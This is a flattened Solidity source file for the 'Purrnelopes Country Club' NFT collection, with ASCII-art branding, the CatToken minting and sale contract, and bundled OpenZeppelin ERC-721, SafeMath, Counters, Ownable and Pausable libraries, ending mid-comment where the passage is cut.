/* ▓▓█ ▒██▒▒█ █▓▓▓░▒▓▓ ▒█▓▒█░▒▒▒█ ▒█▒▒▒█▒▒▒▒▓▒ ▓▓▒░ ▓█▒▒▒▓██▓▒░▒█ █▓▓██▓░ ▓█▒▒▒▒████▒▒▒█ ▓█▓▒▒▓██▓░ ▒█▒▒▒▒▒██▓█▓░░▓▒ ▓▒▓▒▒▒▒▒▓█▓░ ░▒▒▓▓██▒▒▒▒▒▒█████▒▒▒▓ ▓░█▒▒▒▒▒▒▒▓▓█▓█▓▓▓▓▒▒▒▒▒▒▒▒██▓██▒░▒█ ▓░▓█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓████▒▒▒█ ▓░▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▓██░░░█ ▓░▓███▒▒▒▒▒▒▒▒▒▒▒▓█▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▓▓ ▒▒▒██▓▒▓█▓▒▒▒▒▒▒▒▓▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▓▒█ ▓▒█▓▒▒▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓█▓▓▓▓█▓▒▒▒▒▒▒▒▓▒ ▓▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓ ▓█▓▒▒▒▒▒▓█ ▒▒▓▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▓▓ ░▓▓ █▓▒▒▒▒▒█ █▒▒▓▓▓▒▒▓▓▒▒▒▒▒▒▓▓ █████▓ █▓▒▒▒▒▓▒ ▓▓█▒ ▒▓▒▒▒▒▒█ ░██████ ░█▒▒▒▒▓▓ ▓█▒ ▒███ ▒▓▒▒▒▒█ ██████ ▓▒▒▒▒▒▓ ██ █████ █▒▒▒▒█ ███▓ ▓▓▒▒▒▒▓ █▓ █████ ▒▓▒▒▒█ █▓▓▓▒▒▓ █▓ ░███ ░▓▒▒▒▓█ ░█▓▒▒▒▓▒▓ ██ ▒▓▒▒▒▒▓▓ ░▒▓█▓ ░▓▓ ▓█░ █▓██▓▒▒▓█▓▓▓▓██▓▓▒▓▒░░▒▓▒▓ ▒██░ ▓▒███▓▒▒▒▒▓▓▓▓▒▒▒▒▒▒▓▓▓▓▒▓ █▓█▓▓▒▒▓█▓▒░██▒▒▓▓█▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓█▒ ▓ ░▓▓▓▓▓▒▓▓▓▓▒▓▓▓▒▓▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓ ▒▒▒▓▒▒▒▒▒▒▓█░ ░░░ ▓▓▒▒▒▒▒▒▒▒▒▒▒▓██▓▒ █▓▒▒▒▒▒▒▒▒▓▓ ░░░ ▓▓▒▒▒▒▒▒▒▒▒▓▓▓▒▒▓▒ ██▓▓▒▒▒▒▒▒█▒░░░░█▒▒▒▒▒▒▒▒▓█▓▓▒▒▒▒▒ ▒██▓▓▒▒▒▒▒█▓▒▒▓▒▒▒▒▒▒▓███▓▒▒▒▒▒▓▓ ░▒▓▓▓▓▒▒▓▓▓▓▓▓████▓▓█▒▒▒▒▒▓▓█░ ████████████████████████████████████████████████████████████████████████ █▄─▄▄─█▄─██─▄█▄─▄▄▀█▄─▄▄▀█▄─▀█▄─▄█▄─▄▄─█▄─▄███─▄▄─█▄─▄▄─█▄─▄▄─█─▄▄▄▄████ ██─▄▄▄██─██─███─▄─▄██─▄─▄██─█▄▀─███─▄█▀██─██▀█─██─██─▄▄▄██─▄█▀█▄▄▄▄─████ █▄▄▄████▄▄▄▄██▄▄█▄▄█▄▄█▄▄█▄▄▄██▄▄█▄▄▄▄▄█▄▄▄▄▄█▄▄▄▄█▄▄▄███▄▄▄▄▄█▄▄▄▄▄████ ████████████████████████████████████████████████████████████████████████ █─▄▄▄─█─▄▄─█▄─██─▄█▄─▀█▄─▄█─▄─▄─█▄─▄▄▀█▄─█─▄███─▄▄▄─█▄─▄███▄─██─▄█▄─▄─▀█ █─███▀█─██─██─██─███─█▄▀─████─████─▄─▄██▄─▄████─███▀██─██▀██─██─███─▄─▀█ █▄▄▄▄▄█▄▄▄▄██▄▄▄▄██▄▄▄██▄▄██▄▄▄██▄▄█▄▄██▄▄▄████▄▄▄▄▄█▄▄▄▄▄██▄▄▄▄██▄▄▄▄██*/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract CatToken is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable { using Counters for Counters.Counter; using SafeMath for uint256; Counters.Counter private _tokenIdCounter; uint256 private _unitCost; uint256 private _maxPurchase; uint256 private _maxTokens; string _folderPath; bool _saleComplete; address _devAddress; event CloseSale(address indexed _from); event OpenSale(address indexed _from); constructor(uint256 maxPurchase, uint256 maxTokens) ERC721("Purrnelopes Country Club", "PCC") { _unitCost = 80000000000000000; //initial price - 0.08 ether _maxPurchase = maxPurchase; _maxTokens = maxTokens; _saleComplete = false; _devAddress = msg.sender; _pause(); _tokenIdCounter.increment(); //start token generation at 1 not 0 } function devMint(address to, uint256 numberToMint) public onlyOwner onSale { require(_tokenIdCounter.current() <= _maxTokens, "Sold out!!"); require(paused(), "Can only dev mint when contract is paused"); _unpause(); uint256 i = 0; do { _safeMint(to, _tokenIdCounter.current()); _tokenIdCounter.increment(); i++; } while (i < numberToMint && i < _maxPurchase); //can only mint a max of whatever the max public purchase is per transaction pause(); } function pause() public onlyOwner onSale { //tokens can only be paused before they are sold out _pause(); } function startSale(string memory folderPath) public onlyOwner onSale { require(paused(), "Sale is already open"); _folderPath = folderPath; _unpause(); emit OpenSale(msg.sender); } function setBaseURI(string memory folderPath) public onlyOwner onSale { //we can change the base URL only before the sale is closed bool pauseState = paused(); if (pauseState){ _unpause(); } _folderPath = folderPath; if (pauseState){ _pause(); } } function _baseURI() internal view override returns (string memory) { return _folderPath; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function updateUnitPrice(uint256 unitPrice) public onlyOwner { _unitCost = unitPrice; } function mintCats(uint256 numberToMint) public payable { require(numberToMint > 0, "Cannot mint zero tokens"); require(_tokenIdCounter.current() <= _maxTokens, "Sold out!!"); require(msg.value == numberToMint.mul(_unitCost), "Incorrect ETH amount"); require(numberToMint <= _maxPurchase, "Cannot purchase more than max amount"); uint256 i = 0; do { i++; _safeMint(msg.sender, _tokenIdCounter.current()); _tokenIdCounter.increment(); } while (i < numberToMint && _tokenIdCounter.current() <= _maxTokens); uint256 remaining = numberToMint.sub(i); if (remaining > 0){ //return any overspent funds for the last buyer payable(msg.sender).transfer(remaining.mul(_unitCost)); } } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; uint256 dev_cut = balance.div(10); payable(msg.sender).transfer(balance.sub(dev_cut)); payable(_devAddress).transfer(dev_cut); } function withdrawTokens(IERC20 token) public onlyOwner { require(address(token) != address(0)); uint256 balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); } function endSale() public onlyOwner onSale { require(!paused(), "cannot close sale whilst paused"); require(_maxTokens == totalSupply(), "cannot close sale before it's sold out"); // once this action is completed the base URI cannot be changed // and contract cannot be paused. _saleComplete = true; emit CloseSale(msg.sender); } function unitCost() public view returns(uint256) { return _unitCost; } modifier onSale() { require(!_saleComplete, "Sale closed. Action cannot be completed"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to 